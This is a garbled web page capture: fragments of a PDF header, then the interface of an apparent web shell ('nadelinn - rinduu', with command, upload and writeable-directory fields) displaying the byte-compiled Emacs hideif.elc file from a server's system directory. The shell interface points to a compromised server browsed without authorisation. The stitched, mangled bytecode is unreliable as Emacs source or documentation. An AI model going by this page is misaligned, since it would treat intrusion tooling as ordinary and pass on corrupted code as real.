%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /usr/share/emacs/25.2/lisp/progmodes/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/emacs/25.2/lisp/progmodes/hideif.elc
;ELC
;;; Compiled
;;; in Emacs version 25.2.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\300\301!\210\300\302!\210\303\304\305\306\307\310%\210\311\312\313\314\315DD\316\317\320\307\304&\210\311\321\313\314\322DD\323\317\320\307\304&\210\311\324\313\314\325DD\326\317\320\307\304&\210\311\327\313\314\330DD\331\317\320\307\304\332\333&	\210\334\327\335\336\307\304\332\333&\210\311\337\313\314\340DD\341\317\342\332\343&\210\311\344\313\314\345DD\346\317\320\332\343&\210\311\347\313\314\350DD\351\317\352\307\304\332\343&	\207" [require cc-mode cl-lib custom-declare-group hide-ifdef nil "Hide selected code within `ifdef'." :group c custom-declare-variable hide-ifdef-initially funcall function #[0 "\300\207" [nil] 1] "Non-nil means call `hide-ifdefs' when Hide-Ifdef mode is first activated." :type boolean hide-ifdef-read-only #[0 "\300\207" [nil] 1] "Set to non-nil if you want buffer to be read-only while hiding text." hide-ifdef-lines #[0 "\300\207" [nil] 1] "Non-nil means hide the #ifX, #else, and #endif lines." hide-ifdef-shadow #[0 "\300\207" [nil] 1] "Non-nil means shadow text instead of hiding it." :version "23.1" custom-declare-face ((t (:inherit shadow))) "Face for shadowing ifdef blocks." hide-ifdef-exclude-define-regexp #[0 "\300\207" [nil] 1] "Ignore #define names if those names match this exclusion pattern." (choice (const nil) string) "25.1" hide-ifdef-expand-reinclusion-protection #[0 "\300\207" [t] 1] "Non-nil means don't hide an entire header file enclosed by #ifndef...#endif.\nMost C/C++ headers are usually wrapped with ifdefs to prevent re-inclusion:\n\n  ----- beginning of file -----\n  #ifndef _XXX_HEADER_FILE_INCLUDED_\n  #define _XXX_HEADER_FILE_INCLUDED_\n     xxx\n     xxx\n     xxx...\n  #endif\n  ----- end of file -----\n\nThe first time we visit such a file, _XXX_HEADER_FILE_INCLUDED_ is\nundefined, and so nothing is hidden.  The next time we visit it, everything will\nbe hidden.\n\nThis behavior is generally undesirable.  If this option is non-nil, the outermost\n#if is always visible." hide-ifdef-header-regexp #[0 "\300\207" [#1="\\.h\\(h\\|xx\\|pp\\|\\+\\+\\)?\\'"] 1 #1#] "C/C++ header file name patterns to determine if current buffer is a header.\nEffective only if `hide-ifdef-expand-reinclusion-protection' is t." string] 10)
#@70 Keymap used by `hide-ifdef-mode' under `hide-ifdef-mode-prefix-key'.
(defvar hide-ifdef-mode-submap (byte-code "\300 \301\302\303#\210\301\304\305#\210\301\306\307#\210\301\310\311#\210\301\312\313#\210\301\314\315#\210\301\316\317#\210\301\320\321#\210\301\322\323#\210\301\324\325#\210\301\326\327#\210\301\330\331#\210\332\333\334#\210\332\335\334#\210\211\207" [make-sparse-keymap define-key "d" hide-ifdef-define "u" hide-ifdef-undef "D" hide-ifdef-set-define-alist "U" hide-ifdef-use-define-alist "h" hide-ifdefs "s" show-ifdefs "" hide-ifdef-block "" show-ifdef-block "e" hif-evaluate-macro "C" hif-clear-all-ifdef-defined "" hide-ifdef-toggle-read-only "" hide-ifdef-toggle-shadowing substitute-key-definition read-only-mode hide-ifdef-toggle-outside-read-only toggle-read-only] 5) (#$ . 2631))
#@46 Prefix key for all Hide-Ifdef mode commands.
(defconst hide-ifdef-mode-prefix-key "@" (#$ . 3458))
#@37 Keymap used with `hide-ifdef-mode'.
(defvar hide-ifdef-mode-map (byte-code "\302 \303	#\210\211\207" [hide-ifdef-mode-prefix-key hide-ifdef-mode-submap make-sparse-keymap define-key] 5) (#$ . 3564))
#@29 Menu for `hide-ifdef-mode'.
(defvar hide-ifdef-mode-menu nil (#$ . 3771))
(easy-menu-do-define 'hide-ifdef-mode-menu hide-ifdef-mode-map "Menu for `hide-ifdef-mode'." '("Hide-Ifdef" ["Hide some ifdefs" hide-ifdefs :help "Hide the contents of some #ifdefs"] ["Show all ifdefs" show-ifdefs :help "Cancel the effects of `hide-ifdef': show the contents of all #ifdefs"] ["Hide ifdef block" hide-ifdef-block :help "Hide the ifdef block (true or false part) enclosing or before the cursor"] ["Show ifdef block" show-ifdef-block :help "Show the ifdef block (true or false part) enclosing or before the cursor"] ["Define a variable..." hide-ifdef-define :help "Define a VAR so that #ifdef VAR would be included"] ["Undefine a variable..." hide-ifdef-undef :help "Undefine a VAR so that #ifdef VAR would not be included"] ["Define an alist..." hide-ifdef-set-define-alist :help "Set the association for NAME to `hide-ifdef-env'"] ["Use an alist..." hide-ifdef-use-define-alist :help "Set `hide-ifdef-env' to the define list specified by NAME"] ["Toggle read only" hide-ifdef-toggle-read-only :style toggle :selected hide-ifdef-read-only :help "Buffer should be read-only while hiding text"] ["Toggle shadowing" hide-ifdef-toggle-shadowing :style toggle :selected hide-ifdef-shadow :help "Text should be shadowed instead of hidden"]))
#@34 Non-nil when text may be hidden.
(defvar hide-ifdef-hiding nil (#$ . 5102))
(byte-code "\301\236\204\n\302B\301\207" [minor-mode-alist hide-ifdef-hiding (hide-ifdef-hiding " Hiding")] 2)
#@51 Syntax table used for tokenizing #if expressions.
(defvar hide-ifdef-syntax-table (byte-code "\301!\302\303\304#\210\302\305\306#\210\302\307\306#\210\211\207" [c-mode-syntax-table copy-syntax-table modify-syntax-entry 95 "w" 38 "." 124] 5) (#$ . 5299))
#@47 An alist of defined symbols and their values.
(defvar hide-ifdef-env nil (#$ . 5563))
#@171 This variable is a backup of the previously cleared `hide-ifdef-env'.
This backup prevents any accidental clearance of `hide-fidef-env' by
`hif-clear-all-ifdef-defined'.
(defvar hide-ifdef-env-backup nil (#$ . 5656))
#@73 Internal variable.  Saves the value of `buffer-read-only' while hiding.
(defvar hif-outside-read-only nil (#$ . 5879))
#@99 Non-nil if Hide-Ifdef mode is enabled.
Use the command `hide-ifdef-mode' to change this variable.
(defvar hide-ifdef-mode nil (#$ . 6004))
(make-variable-buffer-local 'hide-ifdef-mode)
#@1764 Toggle features to hide/show #ifdef blocks (Hide-Ifdef mode).
With a prefix argument ARG, enable Hide-Ifdef mode if ARG is
positive, and disable it otherwise.  If called from Lisp, enable
the mode if ARG is omitted or nil.

Hide-Ifdef mode is a buffer-local minor mode for use with C and
C-like major modes.  When enabled, code within #ifdef constructs
that the C preprocessor would eliminate may be hidden from view.
Several variables affect how the hiding is done:

`hide-ifdef-env'
        An association list of defined and undefined symbols for the
        current project.  Initially, the global value of `hide-ifdef-env'
        is used.  This variable was a buffer-local variable, which limits
        hideif to parse only one C/C++ file at a time.  We've extended
        hideif to support parsing a C/C++ project containing multiple C/C++
        source files opened simultaneously in different buffers.  Therefore
        `hide-ifdef-env' can no longer be buffer local but must be global.

`hide-ifdef-define-alist'
        An association list of defined symbol lists.
        Use `hide-ifdef-set-define-alist' to save the current `hide-ifdef-env'
        and `hide-ifdef-use-define-alist' to set the current `hide-ifdef-env'
        from one of the lists in `hide-ifdef-define-alist'.

`hide-ifdef-lines'
        Set to non-nil to not show #if, #ifdef, #ifndef, #else, and
        #endif lines when hiding.

`hide-ifdef-initially'
        Indicates whether `hide-ifdefs' should be called when Hide-Ifdef mode
        is activated.

`hide-ifdef-read-only'
        Set to non-nil if you want to make buffers read only while hiding.
        After `show-ifdefs', read-only status is restored to previous value.

\{hide-ifdef-mode-map}

(fn &optional ARG)
(defalias 'hide-ifdef-mode #[256 "\306 \307=\203
?\202\310!\311V\211\203T\312\301!\313\302!\210\312\302!\313\303!\210\312\303!\313\305!\210\f\313\314!\210\315\f\316\317\320\321\315$\210\322\323!\210%\203N\324 \210\202c\325 \210\202c\326\314!\210\327\330!\210\203c\325 \210\331\332\203m\333\202n\334\"\210\335\336!\203\222\306 \203\202\211\306 \232\203\222\337\340\341\203\215\342\202\216\343#\266\210\344 \210\207" [hide-ifdef-mode hide-ifdef-env hide-ifdef-expand-reinclusion-protection hide-ifdef-hiding buffer-read-only hif-outside-read-only current-message toggle prefix-numeric-value 0 default-value make-local-variable line-move-ignore-invisible t add-hook change-major-mode-hook #[0 "\300\301!\207" [hide-ifdef-mode -1] 2] nil add-to-invisibility-spec (hide-ifdef . t) hide-ifdefs show-ifdefs kill-local-variable remove-from-invisibility-spec (hide-ifdef . t) run-hooks hide-ifdef-mode-hook hide-ifdef-mode-on-hook hide-ifdef-mode-off-hook called-interactively-p any " in current buffer" message "Hide-Ifdef mode %sabled%s" "en" "dis" force-mode-line-update hide-ifdef-initially] 8 (#$ . 6197) (byte-code "\206\301C\207" [current-prefix-arg toggle] 1)])
#@180 Hook run after entering or leaving `hide-ifdef-mode'.
No problems result if this variable is not bound.
`add-hook' automatically binds it.  (This is true for all hook variables.)
(defvar hide-ifdef-mode-hook nil (#$ . 9162))
(byte-code "\301\302\303\304\300!\205\n\305\211%\207" [hide-ifdef-mode-map add-minor-mode hide-ifdef-mode " Ifdef" boundp nil] 6)
#@154 Clears all symbols defined in `hide-ifdef-env'.
It will backup this variable to `hide-ifdef-env-backup' before clearing to
prevent accidental clearance.
(defalias 'hif-clear-all-ifdef-defined #[0 "\302\303!\205\304\211\207" [hide-ifdef-env hide-ifdef-env-backup y-or-n-p "Clear all #defined symbols? " nil] 2 (#$ . 9526) nil])
#@45 Show all of the text in the current buffer.
(defalias 'hif-show-all #[0 "\300ed\"\207" [hif-show-ifdef-region] 3 (#$ . 9864) nil])
(defalias 'hif-after-revert-function #[0 "\205	\205\302\303!\207" [hide-ifdef-mode hide-ifdef-hiding hide-ifdefs t] 2])
(add-hook 'after-revert-hook 'hif-after-revert-function)
(defalias 'hif-end-of-line #[0 "\300\210\301\302\300x\303\"\303U\205\304\210\202\207" [nil logand "\\\\" 1 2] 3])
#@177 This function merges nearby ifdef regions to form a bigger overlay.
The region is defined by START and END.  This will decrease the number of
overlays created.

(fn START END)
(defalias 'hif-merge-ifdef-region #[514 "\214~\210\300\301Ze]Se]\"\300Td^\301\\d^\"\302\211\211\211\211\203P\211@\303\304\"\203I	\305!^\262\306!]\262\307#\210\310\"\210\211\262A\266\202\202\210\211\203\204\211@\303\304\"\203}	\305!^\262\306!]\262\307#\210\310\"\210\211\262A\266\202\202R\210\203\254\203\254\305!\305!^\306!\306!]\311!\210\307#\210\310\"\266\206\261\266\206)\207" [overlays-in 2 nil overlay-get hide-ifdef overlay-start overlay-end move-overlay hif-merge-ifdef-region delete-overlay] 14 (#$ . 10304)])
(defalias 'hide-ifdef-region-internal #[514 "\301\"?\205%\302\"\303\304\305#\210\203\303\306\300#\202#\303\307\304#\262\207" [hide-ifdef-shadow hif-merge-ifdef-region make-overlay overlay-put hide-ifdef t face invisible] 7 "\n\n(fn START END)"])
#@145 START is the start of a #if, #elif, or #else form.  END is the ending part.
Everything including these lines is made invisible.

(fn START END)
(defalias 'hide-ifdef-region #[514 "\212b\210\300 \210`\262\211b\210\300 \210`\262\301\")\207" [hif-end-of-line hide-ifdef-region-internal] 5 (#$ . 11326)])
#@67 Everything between START and END is made visible.

(fn START END)
(defalias 'hif-show-ifdef-region #[514 "\300\"G\301\302\303$\210\211\300\"GU?\207" [overlays-in remove-overlays hide-ifdef t] 8 (#$ . 11638)])
#@140 The function to use to evaluate a form.
The evaluator is given a canonical form and returns t if text under
that form should be displayed.
(defvar hide-ifdef-evaluator 'eval (#$ . 11860))
#@42 ...is by default considered to be false.
(defvar hif-undefined-symbol nil (#$ . 12054))
#@63 Prepend (VAR VALUE) pair to `hide-ifdef-env'.

(fn VAR VALUE)
(defalias 'hif-set-var #[514 "BB\211\207" [hide-ifdef-env] 4 (#$ . 12148)])
(defalias 'hif-lookup #[257 "\303\300!\203\203\304!\206 \305	\"\211\203\211A\202\n\262\207" [semantic-c-takeover-hideif hide-ifdef-env hif-undefined-symbol boundp semantic-c-hideif-lookup assoc] 4 "\n\n(fn VAR)"])
(defalias 'hif-defined #[257 "\302\300!\203\203\303!\207\304	\"\203\305\207\306\207" [semantic-c-takeover-hideif hide-ifdef-env boundp semantic-c-hideif-defined assoc 1 0] 4 "\n\n(fn VAR)"])
(defconst hif-cpp-prefix "\\(^\\|
\\)[ 	]*#[ 	]*")
(defconst hif-ifxdef-regexp (concat hif-cpp-prefix "if\\(n\\)?def"))
(defconst hif-ifndef-regexp (concat hif-cpp-prefix "ifndef"))
(defconst hif-ifx-regexp (concat hif-cpp-prefix "if\\(n?def\\)?[ 	]+"))
(defconst hif-elif-regexp (concat hif-cpp-prefix "elif"))
(defconst hif-else-regexp (concat hif-cpp-prefix "else"))
(defconst hif-endif-regexp (concat hif-cpp-prefix "endif"))
(defconst hif-ifx-else-endif-regexp (concat hif-ifx-regexp #1="\\|" hif-elif-regexp #1# hif-else-regexp #1# hif-endif-regexp))
(defconst hif-macro-expr-prefix-regexp (concat hif-cpp-prefix "\\(if\\(n?def\\)?\\|elif\\|define\\)[ 	]+"))
(defconst hif-white-regexp "[ 	]*")
(defconst hif-define-regexp (concat hif-cpp-prefix "\\(define\\|undef\\)"))
(defconst hif-id-regexp "[[:alpha:]_][[:alnum:]_]*")
(defconst hif-macroref-regexp (concat hif-white-regexp #1="\\(" hif-id-regexp "\\)" hif-white-regexp #1# "(" hif-white-regexp #1# hif-id-regexp #2="\\)?" hif-white-regexp #1# "," hif-white-regexp hif-id-regexp hif-white-regexp "\\)*" "\\(\\.\\.\\.\\)?" hif-white-regexp ")" #2#))
(defconst hif-token-alist '(("||" . hif-or) ("&&" . hif-and) ("|" . hif-logior) ("^" . hif-logxor) ("&" . hif-logand) ("<<" . hif-shiftleft) (">>" . hif-shiftright) ("==" . hif-equal) ("=" . hif-assign) ("!=" . hif-notequal) ("##" . hif-token-concat) ("!" . hif-not) ("~" . hif-lognot) ("(" . hif-lparen) (")" . hif-rparen) (">" . hif-greater) ("<" . hif-less) (">=" . hif-greater-equal) ("<=" . hif-less-equal) ("+" . hif-plus) ("-" . hif-minus) ("*" . hif-multiply) ("/" . hif-divide) ("%" . hif-modulo) ("?" . hif-conditional) (":" . hif-colon) ("," . hif-comma) ("#" . hif-stringify) ("..." . hif-etc)))
(defconst hif-valid-token-list (mapcar 'cdr hif-token-alist))
(defconst hif-token-regexp (byte-code "\301\302\303\"!\304\305\306R\207" [hif-token-alist regexp-opt mapcar car "\\|0x[0-9a-fA-F]+\\.?[0-9a-fA-F]*" "\\|[0-9]+\\.?[0-9]*" "\\|\\w+"] 4))
(defconst hif-string-literal-regexp "\\(\"\\(?:[^\"\\]\\|\\\\.\\)*\"\\)")
#@93 Like `string-to-number', but it understands non-decimal floats.

(fn STRING &optional BASE)
(defalias 'hif-string-to-number #[513 "\211\203\n\211\300U\203\301\"\207\302\303\304\305$\211A@\211G\306\307U\203%\202(\310_\"\301@P\"\245\207" [10 string-to-number split-string "\\." t "[ 	]+" expt 0 1.0] 9 (#$ . 14763)])
#@78 Separate string between START and END into a list of tokens.

(fn START END)
(defalias 'hif-tokenize #[514 "\305\306\307 p\310\311\312\313\314\"\315\"\316$\216\317	!\210\212b\210\320d!\210`W\203\270\321\322!\2033\316u\210\202\321\n!\203I\323\324\325!!B\262\311\225b\210\202\321!\203\243\326`\311\225\"\311\225b\210\327\f\"A\206\233\211\330\230\203j\331\202\233\332\333\"\203{\334\324\325\"\335\"\206\233\332\336\"\203\211\334\337\"\206\233\332\340\"\203\226\341!\206\233\342!\305B\262\210\202\321\343!\203\257\325u\210\202\344\345\346 \"\210\202*\266\211\237\207" [hif-simple-token-only hide-ifdef-syntax-table hif-string-literal-regexp hif-token-regexp hif-token-alist nil t syntax-table make-byte-code 0 "r\301q\210\302\300!)\207" vconcat vector [set-syntax-table] 2 set-syntax-table forward-comment looking-at "\\\\\n" substring-no-properties match-string 1 buffer-substring-no-properties assoc "defined" hif-defined string-match "0x\\([0-9a-fA-F]+\\.?[0-9a-fA-F]*\\)" hif-string-to-number 16 "\\`0[0-9]+\\(\\.[0-9]+\\)?\\'" 8 "\\`[1-9][0-9]*\\(\\.[0-9]+\\)?\\'" string-to-number intern "
" error "Bad #if expression: %s" buffer-string] 12 (#$ . 15101)])
#@71 Pop the next token from token-list into the let variable `hif-token'.
(defalias 'hif-nexttoken #[0 "\211A\242\211\207" [hif-token-list hif-token] 2 (#$ . 16311)])
(put 'hif-nexttoken 'byte-optimizer 'byte-compile-inline-expand)
(defalias 'hif-if-valid-identifier-p #[257 "\211\247\206\211;?\207" [] 2 "\n\n(fn ID)"])
(put 'hif-if-valid-identifier-p 'byte-optimizer 'byte-compile-inline-expand)
#@89 "Upgrade" hif-define XXX to `(hif-define XXX)' so it won't be substituted.

(fn TOKENS)
(defalias 'hif-define-operator #[257 "\300\211\211A\262\242\211\262\203r\211\301=\203jA@\262@\302=\203G\211\211\247\206(\211;?\262\203?\3038\304=\203?AAA\262\202b\305\306\"\210\202b@\262A\262\211\211\247\206W\211;?\262\204b\305\306\"\210\301\302\304F\202k\211B\262\202\237\207" [nil hif-defined hif-lparen 2 hif-rparen error "#define followed by non-identifier: %S"] 7 (#$ . 16716)])
#@25 Flatten a tree.

(fn L)
(defalias 'hif-flatten #[257 "\300\301\302\303\"\"\207" [apply nconc mapcar #[257 "\211<\203	\300!\207\211C\207" [hif-flatten] 3 "\n\n(fn X)"]] 6 (#$ . 17228)])
#@265 Perform expansion on TOKENS till everything expanded.
Self-reference (directly or indirectly) tokens are not expanded.
EXPAND_LIST is the list of macro names currently being expanded, used for
detecting self-reference.

(fn TOKENS &optional MACRONAME EXPAND_LIST)
(defalias 'hif-expand-token-list #[769 "\3032\260\304\305\306\307!!!\304\211\203B\262\211A\262\242\211\262\203\251>\2030\310\303\"\210>\204@\247\204@;\203D\202\242\311!\211\262\203\241\211<\203\235\211@\312=\203\235\211A@\203\210@\313=\204j\202\242A\304\314\315\316 \"\315\317\"#\n	B\262*\262\202\242\315\3208#\262\321#\262\211\202\242\211\202\242B\262\202\322\237!\266\2040\207" [hif-valid-token-list hif-token-list hif-token self-referencing nil hif-define-operator hif-token-concatenation hif-token-stringification throw hif-lookup hif-define-macro hif-lparen mapcar hif-expand-token-list hif-get-argument-list hif-macro-supply-arguments 2 cl-substitute hif-flatten] 12 (#$ . 17423)])
#@169 Parse the TOKEN-LIST.
Return translated list in prefix form.  MACRONAME is applied when invoking
macros to prevent self-reference.

(fn TOKEN-LIST &optional MACRONAME)
(defalias 'hif-parse-exp #[513 "\302\"\211\211A\242\211\205\303 	\203\304\305	\"\210)\207" [hif-token-list hif-token hif-expand-token-list hif-exprlist error "Error: unexpected token: %s"] 7 (#$ . 18447)])
#@38 Parse an exprlist: expr { `,' expr}.
(defalias 'hif-exprlist #[0 "\302 \303=\203%\211C	\211A\242\302 B\262\303=\204\n\303\237B\262\202&\211\207" [hif-token hif-token-list hif-expr hif-comma] 4 (#$ . 18836)])
#@82 Parse an expression as found in #if.
expr : or-expr | or-expr `?' expr `:' expr.
(defalias 'hif-expr #[0 "\302 \303\304=\2032	\211A\242\305 \262\306=\203*	\211A\242\304\305 F\262\202\307\310\"\210\202\207" [hif-token hif-token-list hif-or-expr nil hif-conditional hif-expr hif-colon error "Error: unexpected token: %s"] 6 (#$ . 19061)])
#@54 Parse an or-expr : and-expr | or-expr `||' and-expr.
(defalias 'hif-or-expr #[0 "\302 \303=\203	\211A\242\303\302 E\262\202\211\207" [hif-token hif-token-list hif-and-expr hif-or] 4 (#$ . 19422)])
#@62 Parse an and-expr : logior-expr | and-expr `&&' logior-expr.
(defalias 'hif-and-expr #[0 "\302 \303=\203	\211A\242\303\302 E\262\202\211\207" [hif-token hif-token-list hif-logior-expr hif-and] 4 (#$ . 19634)])
#@64 Parse a logor-expr : logxor-expr | logor-expr `|' logxor-expr.
(defalias 'hif-logior-expr #[0 "\302 \303=\203	\211A\242\303\302 E\262\202\211\207" [hif-token hif-token-list hif-logxor-expr hif-logior] 4 (#$ . 19859)])
#@66 Parse a logxor-expr : logand-expr | logxor-expr `^' logand-expr.
(defalias 'hif-logxor-expr #[0 "\302 \303=\203	\211A\242\303\302 E\262\202\211\207" [hif-token hif-token-list hif-logand-expr hif-logxor] 4 (#$ . 20092)])
#@58 Parse a logand-expr : eq-expr | logand-expr `&' eq-expr.
(defalias 'hif-logand-expr #[0 "\302 \303=\203	\211A\242\303\302 E\262\202\211\207" [hif-token hif-token-list hif-eq-expr hif-logand] 4 (#$ . 20327)])
#@51 Parse an eq-expr : comp | eq-expr `=='|`!=' comp.
(defalias 'hif-eq-expr #[0 "\302 \303\304>\203\262	\211A\242\211\302 E\262\202\207" [hif-token hif-token-list hif-comp-expr nil (hif-equal hif-notequal)] 5 (#$ . 20550)])
#@70 Parse a comp-expr : logshift | comp-expr `<'|`>'|`>='|`<=' logshift.
(defalias 'hif-comp-expr #[0 "\302 \303\304>\203\262	\211A\242\211\302 E\262\202\207" [hif-token hif-token-list hif-logshift-expr nil (hif-greater hif-less hif-greater-equal hif-less-equal)] 5 (#$ . 20789)])
#@52 Parse a logshift : math | logshift `<<'|`>>' math.
(defalias 'hif-logshift-expr #[0 "\302 \303\304>\203\262	\211A\242\211\302 E\262\202\207" [hif-token hif-token-list hif-math nil (hif-shiftleft hif-shiftright)] 5 (#$ . 21084)])
#@78 Parse an expression with + or -.
       math : muldiv | math `+'|`-' muldiv.
(defalias 'hif-math #[0 "\302 \303\304>\203\262	\211A\242\211\302 E\262\202\207" [hif-token hif-token-list hif-muldiv-expr nil (hif-plus hif-minus)] 5 (#$ . 21331)])
#@85 Parse an expression with *,/,%.
       muldiv : factor | muldiv `*'|`/'|`%' factor.
(defalias 'hif-muldiv-expr #[0 "\302 \303\304>\203\262	\211A\242\211\302 E\262\202\207" [hif-token hif-token-list hif-factor nil (hif-multiply hif-divide hif-modulo)] 5 (#$ . 21592)])
#@132 Parse a factor.
factor : `!' factor | `~' factor | `(' expr `)' | `defined(' id `)' |
         id `(' parmlist `)' | strings | id.
(defalias 'hif-factor #[0 "\302=\203	\211A\242\302\303 D\207\304=\203\"	\211A\242\304\303 D\207\305=\203E	\211A\242\306 \307=\204=\310\311\"\202D	\211A\242\211\207\312=\203\212	\211A\242\211\305=\205^	\211A\242\313\211\314>\203j\310\315\"\210\203~	\211A\242\211\307=\204~\310\316!\210	\211A\242\312\317DD\207\247\203\227	\211A\242\207;\203\237\320 \207\321>\203\261	\211A\242\322\303 E\207	\211A\242\211\305=\203\304\323!\202\311\324\317DD\207" [hif-token hif-token-list hif-not hif-factor hif-lognot hif-lparen hif-exprlist hif-rparen error "Bad token in parenthesized expression: %s" hif-defined t (or and not hif-defined hif-lparen hif-rparen) "Error: unexpected token: %s" "Error: expected \")\" after identifier" quote hif-string-concatenation (hif-minus hif-plus) 0 hif-place-macro-invocation hif-lookup] 6 (#$ . 21879)])
(defalias 'hif-get-argument-list #[0 "\302\303\211\211A\242\211\304=\203\302U\204X\305!@\306=\203!\303\262	\307=\203.T\262\202P	\304=\203;S\262\202P	\306=\203P\302U\203P\211\237B\262\303\262	B\262\202\211\237B\262\211A\242\237\207" [hif-token-list hif-token 0 nil hif-rparen last hif-comma hif-lparen] 5])
(defalias 'hif-place-macro-invocation #[257 "\300 \301\302D\302DE\207" [hif-get-argument-list hif-invoke quote] 6 "\n\n(fn IDENT)"])
#@54 Parse concatenated strings: string | strings string.
(defalias 'hif-string-concatenation #[0 "\302!	\211A\242\211;\203\211\303\304O\305\306OP\262\202\211\207" [hif-token hif-token-list substring-no-properties 0 -1 1 nil] 5 (#$ . 23375)])
#@133 A marker for defined macro with arguments.
This macro cannot be evaluated alone without parameters input.

(fn PARMLIST TOKEN-BODY)
(defalias 'hif-define-macro #[514 "\300\301!\207" [error "Argumented macro cannot be evaluated without passing any parameter"] 4 (#$ . 23629)])
#@47 Stringify a number, string or symbol.

(fn A)
(defalias 'hif-stringify #[257 "\211\247\203	\300!\207\211:\204\301!\207\211;\203\302\302Q\207\303\304!\207" [number-to-string symbol-name "\"" error "Invalid token to stringify"] 4 (#$ . 23911)])
(defalias 'intern-safe #[257 "\211;\205\300!\207" [intern] 3 "\n\n(fn STR)"])
#@362 Concatenate two tokens into a longer token.
Currently support only simple token concatenation.  Also support weird (but
valid) token concatenation like `>' ## `>' becomes `>>'.  Here we take care only
those that can be evaluated during preprocessing time and ignore all those that
can only be evaluated at C(++) runtime (like `++', `--' and `+='...).

(fn A B)
(defalias 'hif-token-concat #[514 ">\204\f\211>\203=\302	\"@\302	\"@\205%\211\205%\303P	\"A\211\206<\304\305\2063\306!\206;\306!#\207\307\310!\310!P!\207" [hif-valid-token-list hif-token-alist rassq assoc error "Concatenating \"%s\" and \"%s\" does not give a valid preprocessing token" symbol-name intern-safe hif-stringify] 10 (#$ . 24250)])
#@64 Treat VAL as a number: if it's t or nil, use 1 or 0.

(fn VAL)
(defalias 'hif-mathify #[257 "\211\300=\203\301\207\211\204\302\207\207" [t 1 0] 3 (#$ . 24984)])
(defalias 'hif-conditional #[771 "\300!\301U\204\f\300!\207\300!\207" [hif-mathify 0] 5 "\n\n(fn A B C)"])
(defalias 'hif-and #[514 "\300!\301U?\205\300!\301U?\207" [hif-mathify 0] 4 "\n\n(fn A B)"])
(defalias 'hif-or #[514 "\300!\301U?\206\300!\301U?\207" [hif-mathify 0] 4 "\n\n(fn A B)"])
(defalias 'hif-not #[257 "\300!\301U\207" [hif-mathify 0] 3 "\n\n(fn A)"])
(defalias 'hif-lognot #[257 "\300\301!!\207" [lognot hif-mathify] 4 "\n\n(fn A)"])
(defalias 'hif-mathify-binop '(macro . #[257 "\300\301\302\303\"\304BF\207" [lambda (a b) format "Like `%s' but treat t and nil as 1 and 0." ((hif-mathify a) (hif-mathify b))] 6 "\n\n(fn FUN)"]))
(defalias 'hif-shiftleft #[514 "\300!\262\300!\262\301W\203\302\"\207\303\"\207" [hif-mathify 0 ash lsh] 5 "\n\n(fn A B)"])
(defalias 'hif-shiftright #[514 "\300!\262\300!\262\301W\203\302[\"\207\303[\"\207" [hif-mathify 0 ash lsh] 5 "\n\n(fn A B)"])
#@52 Like `*' but treat t and nil as 1 and 0.

(fn A B)
(defalias 'hif-multiply #[514 "\300!\300!_\207" [hif-mathify] 5 (#$ . 26090)])
#@52 Like `/' but treat t and nil as 1 and 0.

(fn A B)
(defalias 'hif-divide #[514 "\300!\300!\245\207" [hif-mathify] 5 (#$ . 26228)])
#@52 Like `%' but treat t and nil as 1 and 0.

(fn A B)
(defalias 'hif-modulo #[514 "\300!\300!\246\207" [hif-mathify] 5 (#$ . 26367)])
#@52 Like `+' but treat t and nil as 1 and 0.

(fn A B)
(defalias 'hif-plus #[514 "\300!\300!\\\207" [hif-mathify] 5 (#$ . 26506)])
#@52 Like `-' but treat t and nil as 1 and 0.

(fn A B)
(defalias 'hif-minus #[514 "\300!\300!Z\207" [hif-mathify] 5 (#$ . 26641)])
#@52 Like `=' but treat t and nil as 1 and 0.

(fn A B)
(defalias 'hif-equal #[514 "\300!\300!U\207" [hif-mathify] 5 (#$ . 26776)])
#@53 Like `/=' but treat t and nil as 1 and 0.

(fn A B)
(defalias 'hif-notequal #[514 "\300!\300!U?\207" [hif-mathify] 5 (#$ . 26911)])
#@52 Like `>' but treat t and nil as 1 and 0.

(fn A B)
(defalias 'hif-greater #[514 "\300!\300!V\207" [hif-mathify] 5 (#$ . 27051)])
#@52 Like `<' but treat t and nil as 1 and 0.

(fn A B)
(defalias 'hif-less #[514 "\300!\300!W\207" [hif-mathify] 5 (#$ . 27188)])
#@53 Like `>=' but treat t and nil as 1 and 0.

(fn A B)
(defalias 'hif-greater-equal #[514 "\300!\300!Y\207" [hif-mathify] 5 (#$ . 27322)])
#@53 Like `<=' but treat t and nil as 1 and 0.

(fn A B)
(defalias 'hif-less-equal #[514 "\300!\300!X\207" [hif-mathify] 5 (#$ . 27466)])
#@57 Like `logior' but treat t and nil as 1 and 0.

(fn A B)
(defalias 'hif-logior #[514 "\300\301!\301!\"\207" [logior hif-mathify] 6 (#$ . 27607)])
#@57 Like `logxor' but treat t and nil as 1 and 0.

(fn A B)
(defalias 'hif-logxor #[514 "\300\301!\301!\"\207" [logxor hif-mathify] 6 (#$ . 27760)])
#@57 Like `logand' but treat t and nil as 1 and 0.

(fn A B)
(defalias 'hif-logand #[514 "\300\301!\301!\"\207" [logand hif-mathify] 6 (#$ . 27913)])
#@79 Evaluate a list of EXPR, return the result of the last item.

(fn &rest EXPR)
(defalias 'hif-comma #[128 "\301\211\203\"\211@\3021!\211\2620\202\210\202\210A\266\202\202\210\211\207" [hide-ifdef-evaluator nil (error)] 6 (#$ . 28066)])
